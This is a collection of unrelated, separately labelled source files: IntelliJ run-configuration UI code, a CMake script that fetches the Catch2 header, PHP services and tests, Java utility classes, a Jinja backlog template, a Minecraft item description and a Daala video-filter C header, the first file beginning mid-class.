    sb.insert(0, ExecutionBundle.message("before.launch.panel.title"));
    myListener.titleChanged(sb.toString());
  }

  public List<BeforeRunTask> getTasks(boolean applyCurrentState) {
    if (applyCurrentState) {
      originalTasks.clear();
      originalTasks.addAll(myModel.getItems());
    }
    return Collections.unmodifiableList(originalTasks);
  }

  public boolean needEditBeforeRun() {
    return myShowSettingsBeforeRunCheckBox.isSelected();
  }

  private boolean checkBeforeRunTasksAbility(boolean checkOnlyAddAction) {
    if (isUnknown()) {
      return false;
    }
    Set<Key> activeProviderKeys = getActiveProviderKeys();
    final BeforeRunTaskProvider<BeforeRunTask>[] providers = Extensions.getExtensions(BeforeRunTaskProvider.EXTENSION_POINT_NAME,
                                                                                myRunConfiguration.getProject());
    for (final BeforeRunTaskProvider<BeforeRunTask> provider : providers) {
      if (provider.createTask(myRunConfiguration) != null) {
        if (!checkOnlyAddAction) {
          return true;
        }
        else if (!provider.isSingleton() || !activeProviderKeys.contains(provider.getId())) {
          return true;
        }
      }
    }
    return false;
  }

  private boolean isUnknown() {
    return myRunConfiguration instanceof UnknownRunConfiguration;
  }

  void doAddAction(AnActionButton button) {
      if (isUnknown()) {
        return;
      }

      final JBPopupFactory popupFactory = JBPopupFactory.getInstance();
      final BeforeRunTaskProvider<BeforeRunTask>[] providers = Extensions.getExtensions(BeforeRunTaskProvider.EXTENSION_POINT_NAME,
                                                                                myRunConfiguration.getProject());
    Set<Key> activeProviderKeys = getActiveProviderKeys();

    DefaultActionGroup actionGroup = new DefaultActionGroup(null, false);
      for (final BeforeRunTaskProvider<BeforeRunTask> provider : providers) {
        if (provider.createTask(myRunConfiguration) == null)
          continue;
        if (activeProviderKeys.contains(provider.getId()) && provider.isSingleton())
          continue;
        AnAction providerAction = new AnAction(provider.getName(), null, provider.getIcon()) {
          @Override
          public void actionPerformed(AnActionEvent e) {
            BeforeRunTask task = provider.createTask(myRunConfiguration);
            if (task != null) {
              provider.configureTask(myRunConfiguration, task);
              if (!provider.canExecuteTask(myRunConfiguration, task))
                return;
            } else {
              return;
            }
            task.setEnabled(true);

            Set<RunConfiguration> configurationSet = new HashSet<RunConfiguration>();
            getAllRunBeforeRuns(task, configurationSet);
            if (configurationSet.contains(myRunConfiguration)) {
              JOptionPane.showMessageDialog(BeforeRunStepsPanel.this,
                                            ExecutionBundle.message("before.launch.panel.cyclic_dependency_warning",
                                                                    myRunConfiguration.getName(),
                                                                    provider.getDescription(task)),
                                            ExecutionBundle.message("warning.common.title"),JOptionPane.WARNING_MESSAGE);
              return;
            }
            addTask(task);
            myListener.fireStepsBeforeRunChanged();
          }
        };
        actionGroup.add(providerAction);
      }
      final ListPopup popup =
        popupFactory.createActionGroupPopup(ExecutionBundle.message("add.new.run.configuration.acrtion.name"), actionGroup,
                                            SimpleDataContext.getProjectContext(myRunConfiguration.getProject()), false, false, false, null,
                                            -1, Condition.TRUE);
      popup.show(button.getPreferredPopupPoint());
  }

  public void addTask(BeforeRunTask task) {
    myModel.add(task);
  }

  private Set<Key> getActiveProviderKeys() {
    Set<Key> result = new HashSet<Key>();
    for (BeforeRunTask task : myModel.getItems()) {
      result.add(task.getProviderId());
    }
    return result;
  }

  private void getAllRunBeforeRuns(BeforeRunTask task, Set<RunConfiguration> configurationSet) {
    if (task instanceof RunConfigurationBeforeRunProvider.RunConfigurableBeforeRunTask) {
      RunConfigurationBeforeRunProvider.RunConfigurableBeforeRunTask runTask
        = (RunConfigurationBeforeRunProvider.RunConfigurableBeforeRunTask)task;
      RunConfiguration configuration = runTask.getSettings().getConfiguration();

      List<BeforeRunTask> tasks = RunManagerImpl.getInstanceImpl(configuration.getProject()).getBeforeRunTasks(configuration);
      for (BeforeRunTask beforeRunTask : tasks) {
        if (beforeRunTask instanceof RunConfigurationBeforeRunProvider.RunConfigurableBeforeRunTask) {
          if (configurationSet.add(((RunConfigurationBeforeRunProvider.RunConfigurableBeforeRunTask)beforeRunTask).getSettings().getConfiguration()))
            getAllRunBeforeRuns(beforeRunTask, configurationSet);
        }
      }
    }
  }

  interface StepsBeforeRunListener {
    void fireStepsBeforeRunChanged();
    void titleChanged(String title);
  }

  private class MyListCellRenderer extends JBList.StripedListCellRenderer {
    @Override
    public Component getListCellRendererComponent(JList list, Object value, int index, boolean isSelected, boolean cellHasFocus) {
      super.getListCellRendererComponent(list, value, index, isSelected, cellHasFocus);
      if (value instanceof BeforeRunTask) {
        BeforeRunTask task = (BeforeRunTask)value;
        BeforeRunTaskProvider<BeforeRunTask> provider = BeforeRunTaskProvider.getProvider(myRunConfiguration.getProject(), task.getProviderId());
        if (provider != null) {
          setIcon(provider.getTaskIcon(task));
          setText(provider.getDescription(task));
        }
      }
      return this;
    }
  }
}


text:
if(Catch_ARGUMENTS)
  cmake_parse_arguments(Catch "" "URL;VERSION" ""
    ${Catch_ARGUMENTS})
endif()

if(NOT Catch_VERSION)
  set(Catch_URL_VERSION master)
else()
  set (Catch_URL_VERSION "v${Catch_VERSION}")
endif()

if(NOT Catch_URL)
  set(Catch_URL https://raw.githubusercontent.com/catchorg/Catch2/${Catch_URL_VERSION}/single_include/catch2/catch.hpp)
endif()

set(Catch_FILE "${EXTERNAL_ROOT}/include/catch.hpp")
file(MAKE_DIRECTORY "${EXTERNAL_ROOT}/include")
file(DOWNLOAD ${Catch_URL} "${Catch_FILE}")

# I imagine this is checking whether the file download
# is long enough. This could be the case that cmake hasn't
# been built with ssl support and a https download will fail.
file(READ "${Catch_FILE}" CATCHSTRING LIMIT 1000)
string(LENGTH "${CATCHSTRING}" CATCHLENGTH)

# In case the download fails with cmake then try with wget/curl
if(NOT CATCHLENGTH GREATER 500)
    find_package(Wget)
    if(WGET_FOUND)
        execute_process(COMMAND ${WGET_EXECUTABLE}
          ${Catch_URL}
          -O ${Catch_FILE}
        )
    else()
        find_program(CURL_EXECUTABLE curl)
        execute_process(COMMAND ${CURL_EXECUTABLE}
          -L ${Catch_URL}
          -o ${Catch_FILE}
        )
    endif()
endif()

file(READ "${Catch_FILE}" CATCHSTRING LIMIT 1000)
string(LENGTH "${CATCHSTRING}" CATCHLENGTH)
if(NOT CATCHLENGTH GREATER 500)
  file(REMOVE "${Catch_FILE}")
  message(FATAL_ERROR "Failed to download Catch ${CATCHSTRING} ${CATCHLENGTH}")
endif()

ExternalProject_Add(
    Lookup-Catch
    PREFIX "${EXTERNAL_ROOT}"
    DOWNLOAD_COMMAND ""
    # ARGUMENTS
    # identification of correct lib in subsequent TARGET_LINK_LIBRARIES commands
    CONFIGURE_COMMAND ""
    BUILD_COMMAND ""
    INSTALL_COMMAND ""
    # Wrap download, configure and build steps in a script to log output
    UPDATE_COMMAND ""
    LOG_DOWNLOAD ON LOG_CONFIGURE ON LOG_BUILD ON LOG_INSTALL ON
)


text:
<?php

namespace PServerCore\Service;

use Doctrine\ORM\EntityManager;
use PServerCore\Keys\Caching;
use PServerCore\Options\EntityOptions;

class ServerInfo
{
    /** @var  CachingHelper */
    protected $cachingHelperService;

    /** @var  EntityManager */
    protected $entityManager;

    /** @var  EntityOptions */
    protected $entityOptions;

    /**
     * ServerInfo constructor.
     * @param CachingHelper $cachingHelperService
     * @param EntityManager $entityManager
     * @param EntityOptions $entityOptions
     */
    public function __construct(
        CachingHelper $cachingHelperService,
        EntityManager $entityManager,
        EntityOptions $entityOptions
    ) {
        $this->cachingHelperService = $cachingHelperService;
        $this->entityManager = $entityManager;
        $this->entityOptions = $entityOptions;
    }

    /**
     * @return null|\PServerCore\Entity\ServerInfo[]
     */
    public function getServerInfo()
    {
        $serverInfo = $this->cachingHelperService->getItem(Caching::SERVER_INFO, function () {
            return $this->getServerInfoRepository()->getActiveInfoList();
        });

        return $serverInfo;
    }

    /**
     * @return \PServerCore\Entity\Repository\ServerInfo
     */
    protected function getServerInfoRepository()
    {
        /** @var \PServerCore\Entity\Repository\ServerInfo $repository */
        $repository = $this->entityManager->getRepository($this->entityOptions->getServerInfo());
        return $repository;
    }
}


text:
<?php

namespace IQnection\ConstantContact\FormPage;

use SilverStripe\ORM\DataExtension;
use SilverStripe\Forms;

class FormPage extends DataExtension
{
	private static $db = [
		'ConstantContactListID' => 'Int'
	];

	public function updateCMSFields(Forms\FieldList $fields)
	{
		$CC = new \IQnection\ConstantContact\ConstantContact();
		$lists = $CC->getLists();
		$listOptions = [];
		foreach($lists as $list)
		{
			$listOptions[$list->id] = $list->name;
		}
		$fields->addFieldToTab('Root.ConstantContact', Forms\DropdownField::create('ConstantContactListID','Add Submissions to List:')
			->setSource($listOptions)
			->setEmptyString('-- Select --') );
	}
}


text:
<?php

/**
 * BasesfMaterializedPath_TestNodeSingle
 *
 * This class has been auto-generated by the Doctrine ORM Framework
 *
 * @property string $name
 *
 * @method string                            getName() Returns the current record's "name" value
 * @method sfMaterializedPath_TestNodeSingle setName() Sets the current record's "name" value
 *
 * @package    acts_as_materialized_path
 * @subpackage model
 * @author     Artem Chistyakov
 * @version    SVN: $Id: Builder.php 7490 2010-03-29 19:53:27Z jwage $
 */
abstract class BasesfMaterializedPath_TestNodeSingle extends sfDoctrineRecord
{
    public function setTableDefinition()
    {
        $this->setTableName('sf_materialized_path__test_node_single');
        $this->hasColumn('name', 'string', 63, array(
             'type' => 'string',
             'notnull' => true,
             'length' => 63,
             ));
    }

    public function setUp()
    {
        parent::setUp();
        $materializedpath0 = new Doctrine_Template_MaterializedPath(array(
             'sortBy' => 'name',
             'sortOrder' => 'ASC',
             ));
        $this->actAs($materializedpath0);
    }
}


text:
package de.uni_mannheim.informatik.dws.winter.usecase.products.identityresolution;

import de.uni_mannheim.informatik.dws.winter.matching.blockers.generators.BlockingKeyGenerator;
import de.uni_mannheim.informatik.dws.winter.matching.blockers.generators.RecordBlockingKeyGenerator;
import de.uni_mannheim.informatik.dws.winter.model.Correspondence;
import de.uni_mannheim.informatik.dws.winter.model.Matchable;
import de.uni_mannheim.informatik.dws.winter.model.MatchableValue;
import de.uni_mannheim.informatik.dws.winter.model.Pair;
import de.uni_mannheim.informatik.dws.winter.model.defaultmodel.Attribute;
import de.uni_mannheim.informatik.dws.winter.model.defaultmodel.Record;
import de.uni_mannheim.informatik.dws.winter.processing.DataIterator;
import de.uni_mannheim.informatik.dws.winter.processing.Processable;
import de.uni_mannheim.informatik.dws.winter.processing.ProcessableCollection;
import de.uni_mannheim.informatik.dws.winter.usecase.products.model.Product;

/**
 * {@link BlockingKeyGenerator} for {@link Product}s, which generates  blocking
 * key values based on the title split by white space
 *
 * @author Alexander Brinkmann (alex.brinkmann@informatik.uni-mannheim.de)
 *
 */
public class ProductBlockingKeyByTitleGenerator extends
		RecordBlockingKeyGenerator<Product, Attribute> {

	private static final long serialVersionUID = 1L;

	/* (non-Javadoc)
	 * @see de.uni_mannheim.informatik.wdi.matching.blocking.generators.BlockingKeyGenerator#generateBlockingKeys(de.uni_mannheim.informatik.wdi.model.Matchable, de.uni_mannheim.informatik.wdi.model.Result, de.uni_mannheim.informatik.wdi.processing.DatasetIterator)
	 */
	@Override
	public void generateBlockingKeys(Product record, Processable<Correspondence<Attribute, Matchable>> correspondences,
									 DataIterator<Pair<String, Product>> resultCollector) {
		String[] titleTokens = record.getTitle().split(" ");
		for(String token : titleTokens){
			resultCollector.next(new Pair<>(token, record));
		}
	}

}


text:
![Carpenter Saw](item:betterwithaddons:steel_carpentersaw@0)

The Carpenter Saw is a tool specifically made for quick building. It cuts any wooden furniture or planks very quickly and immediately picks them up. If picking them up would not be possible, the items will drop at your feet.

When right-clicked with, the Carpenter Saw will attempt to place any processed wooden block (Planks, Stairs, Slabs, ...) from your inventory where you're looking.


text:
{% extends "enablers/layout.html" %}

{% block tool %} Backlog {% endblock %}
{% block header %} Enablers {% block topic %} - {{ reporter.enabler.name }} {% endblock %} {% endblock %}

{% block content %}
    {% set enabler = reporter.enabler %}

            <colgroup>
                <col id="concept">
                <col id="value">
            </colgroup>

Enabler Name: 	 {{ enabler.name }}

Enabler Owner: 	   {{ enabler.owner }} - {{ enabler.leader|safe }}

Enabler Chapter: 	{{ enabler.chapter }}

Enabler Type: 	{{ enabler.type }}

Enabler Mode: 	{{ enabler.mode }}

Enabler Keyword: 	 {{ enabler.backlogKeyword }}

Backlog Composition: 	 {{ reporter.length }} Issues =
                    {{ reporter.issueType['Epic'] }} Epics +
                    {{ reporter.issueType['Feature'] }} Features +
                    {{ reporter.issueType['Story'] }} Stories +
                    {{ reporter.issueType['WorkItem'] }} WorkItems +
                    {{ reporter.issueType['Bug'] }} Bugs

Backlog Time Perspectives: 	 {{ reporter.length }} Issues =
                {{ reporter.perspective['Implemented'] }} Implemented +
                 {{ reporter.perspective['Working On'] }}  Working On  +
                {{ reporter.perspective['Foreseen'] }} Foreseen

Sprint Backlog Status:
                  {{ reporter.sprint_status.items()|sum(attribute="1") }}  Issues  =
                {% for item in reporter.sprint_status %}
                    {% if loop.first %}
                        {{ reporter.sprint_status[item] }} {{ item }}
                    {% else %}
                        + {{ reporter.sprint_status[item] }} {{ item }}
                    {% endif %}
                {% endfor %}

        <colgroup>
            <col id="key">
            <col id="type">
            <col id="name">
            <col id="status">
            <col id="priority">
            <col id="timeSlot">
        </colgroup>

PRODUCT BACKLOG

        {% set issues = reporter.backlog %}
        {% for issue in issues %}
            {% if loop.first %}

                Key
                Type
                Name
                Status
                Priority
                Time Slot

            {% endif %}

                {% if issue.OKtests %}

                {% else %}

                {% endif %}
                     {{ issue.key }}
                 {{ issue.issueType }}

                {% if issue.p_url %}
                     {{ issue.name }}
                {% else %}
                    {{ issue.name }}
                {% endif %}

                 {{ issue.status }}
                    {% if issue.status == 'Closed' %}
                     ({{ issue.resolution }})
                    {% endif %}

                 {{ issue.priority }}

                    {% if issue.issueType != 'Epic' %}
                        {{ issue.version }}
                    {% endif %}

            {% if loop.last %}

                 >>> {{loop.length }} items found

            {% endif %}
            {% else %}

                 >>> No Issues Found

            {% endfor %}

{% endblock %}


text:
package com.xzymon.servlet.util;

public class AttributeInfo {
	public String name;
	public Object value;
	public String runtimeType;

	public String getName() {
		return name;
	}
	public void setName(String name) {
		this.name = name;
	}
	public Object getValue() {
		return value;
	}
	public String getValueAsStringWithMaxLengthFiltering(int maxLength) {
		String str = value.toString();
		if(str.length()>maxLength){
			str = "[too long]";
		}
		return str;
	}
	public void setValue(Object value) {
		this.value = value;
	}
	public String getRuntimeType() {
		return runtimeType;
	}
	public void setRuntimeType(String runtimeType) {
		this.runtimeType = runtimeType;
	}

}


text:
<?php

namespace Tienvx\Bundle\MbtBundle\Tests\Command\Store;

use Facebook\WebDriver\WebDriverBy;
use Tienvx\Bundle\MbtBundle\Command\Store\StoreValueCommand;
use Tienvx\Bundle\MbtBundle\Tests\Command\CommandTestCase;

/**
 * @covers \Tienvx\Bundle\MbtBundle\Command\Store\StoreValueCommand
 * @covers \Tienvx\Bundle\MbtBundle\Command\Store\AbstractStoreCommand
 * @covers \Tienvx\Bundle\MbtBundle\Command\AbstractCommand
 */
class StoreValueCommandTest extends CommandTestCase
{
    protected bool $isTargetRequired = true;
    protected bool $isValueRequired = true;
    protected string $targetHelper = "Locator e.g. 'id=email' or 'css=.last-name'";
    protected string $valueHelper = 'Variable to store element value';
    protected string $group = 'store';

    protected function createCommand(): StoreValueCommand
    {
        return new StoreValueCommand();
    }

    public function testRun(): void
    {
        $this->values->expects($this->once())->method('setValue')->with('age', 23);
        $this->element->expects($this->once())->method('getAttribute')->with('value')->willReturn(23);
        $this->driver
            ->expects($this->once())
            ->method('findElement')
            ->with($this->callback(function ($selector) {
                return $selector instanceof WebDriverBy
                    && 'css selector' === $selector->getMechanism()
                    && '.age' === $selector->getValue();
            }))
            ->willReturn($this->element);
        $this->command->run('css=.age', 'age', $this->values, $this->driver);
    }

    public function targetProvider(): array
    {
        return [
            [null, false],
            ['', false],
            ['anything', false],
            ['css=#selector', true],
        ];
    }

    public function valueProvider(): array
    {
        return [
            [null, false],
            ['', false],
            ['anything', true],
        ];
    }
}


text:
#if !defined(_filter_H)
# define _filter_H (1)
# include "internal.h"

typedef int32_t od_coeff;
# define OD_COEFF_BITS (32)

/*There are 4 filter sizes total (4-point, 8-point, 16-point and 32-point).*/
# define OD_NFILTER_SIZES (4)

/*This is the strength reduced version of ((_a)/(1 << (_b))).
  This will not work for _b == 0, however currently this is only used for
   b == 1 anyway.*/
# define OD_UNBIASED_RSHIFT32(_a, _b) \
 (((int32_t)(((uint32_t)(_a) >> (32 - (_b))) + (_a))) >> (_b))

# define OD_DCT_RSHIFT(_a, _b) OD_UNBIASED_RSHIFT32(_a, _b)

typedef void (*od_filter_func)(od_coeff _out[], const od_coeff _in[]);

extern const od_filter_func OD_PRE_FILTER[OD_NBSIZES];
extern const od_filter_func OD_POST_FILTER[OD_NBSIZES];

/*These are the pre/post filtering functions used by Daala.
  The idea is to pre/post filter in the spatial domain (the time domain in
   signal processing terms) to improve the energy compaction as well as reduce
   or eliminate blocking artifacts.*/

extern const int OD_FILTER_PARAMS4[4];
extern const int OD_FILTER_PARAMS8[10];
extern const int OD_FILTER_PARAMS16[22];
extern const int OD_FILTER_PARAMS32[46];

void od_pre_filter4(od_coeff _y[4], const od_coeff _x[4]);
void od_post_filter4(od_coeff _x[4], const od_coeff _y[4]);
void od_pre_filter8(od_coeff _y[8], const od_coeff _x[8]);
void od_post_filter8(od_coeff _x[8], const od_coeff _y[8]);
void od_pre_filter16(od_coeff _y[16], const od_coeff _x[16]);
void od_post_filter16(od_coeff _x[16], const od_coeff _y[16]);
void od_pre_filter32(od_coeff _y[32], const od_coeff _x[32]);
void od_post_filter32(od_coeff _x[32], const od_coeff _y[32]);

void od_apply_prefilter_frame(od_coeff *c, int w, int nhsb, int nvsb,
 const unsigned char *bsize, int bstride, int dec);
void od_apply_postfilter_frame(od_coeff *c, int w, int nhsb, int nvsb,
 const unsigned char *bsize, int bstride, int dec);

/* The length in pixel of the lapping of a block is
   4 << OD_FILT_SIZE(ln, xdec). Right now, we use 8-point lapping for
   all but 4x4 splits, with the 4x4 splits using 4-point lapping. For
   subsampled chroma, 4-point lapping is used at all levels.
   If this macro is changed, the values in od_basis_mag have to be
   regenerated.*/
#define OD_FILT_SIZE(ln, xdec) (OD_MAXI(0, ((ln) > 0) - (xdec)))

extern const int OD_FILT_SIZE[OD_NBSIZES];
void od_bilinear_smooth(od_coeff *x, int ln, int stride, int q, int pli);
void od_prefilter_split(od_coeff *c0, int stride, int bs, int f);
void od_postfilter_split(od_coeff *c0, int stride, int bs, int f);
void od_apply_prefilter_frame_sbs(od_coeff *c, int stride, int nhsb, int nvsb,
 int xdec, int ydec);
void od_apply_postfilter_frame_sbs(od_coeff *c, int stride, int nhsb, int nvsb,
 int xdec, int ydec);
void od_apply_filter_sb_rows(od_coeff *c, int stride, int nhsb, int nvsb,
 int xdec, int ydec, int inv, int bs);
void od_apply_filter_sb_cols(od_coeff *c, int stride, int nhsb, int nvsb,
 int xdec, int ydec, int inv, int bs);
void od_apply_filter_hsplit(od_coeff *c0, int stride, int inv, int bs, int f);
void od_apply_filter_vsplit(od_coeff *c0, int stride, int inv, int bs, int f);

# if defined(OD_DCT_TEST) && defined(OD_DCT_CHECK_OVERFLOW)
#  include <stdio.h>

extern int od_dct_check_min[];
extern int od_dct_check_max[];

#  define OD_DCT_OVERFLOW_CHECK(val, scale, offset, idx) \
  do { \
    od_dct_check_min[(idx)] = OD_MINI(od_dct_check_min[(idx)], val); \
    od_dct_check_max[(idx)] = OD_MAXI(od_dct_check_max[(idx)], val); \
    OD_ASSERT((offset) >= 0); \
    if ((scale) > 0) { \
      if ((val) < INT_MIN/(scale)) { \
        printf("Overflow %2i: 0x%08X*0x%08X < INT_MIN\n", \
         (idx), (val), (scale)); \
      } \
      if ((val) > (INT_MAX - (offset))/(scale)) { \
        printf("Overflow %2i: 0x%08X*0x%04X + 0x%04X > INT_MAX\n", \
         (idx), (val), (scale), (offset)); \
      } \
    } \
    else if ((scale) < 0) { \
      if ((val) > (INT_MIN)/(scale)) { \
        printf("Overflow %2i: 0x%08X*-0x%04X < INT_MIN\n", \
         (idx), (val), (scale)); \
      } \
      if ((val) < (INT_MAX - (offset))/(scale)) { \
        printf("Overflow %2i: 0x%08X*-0x%08X + 0x%04X > INT_MAX\n", \
         (idx), (val), (scale), (offset)); \
      } \
    } \
  } \
  while(0)
# else
#  define OD_DCT_OVERFLOW_CHECK(val, scale, offset, idx)
# endif

#endif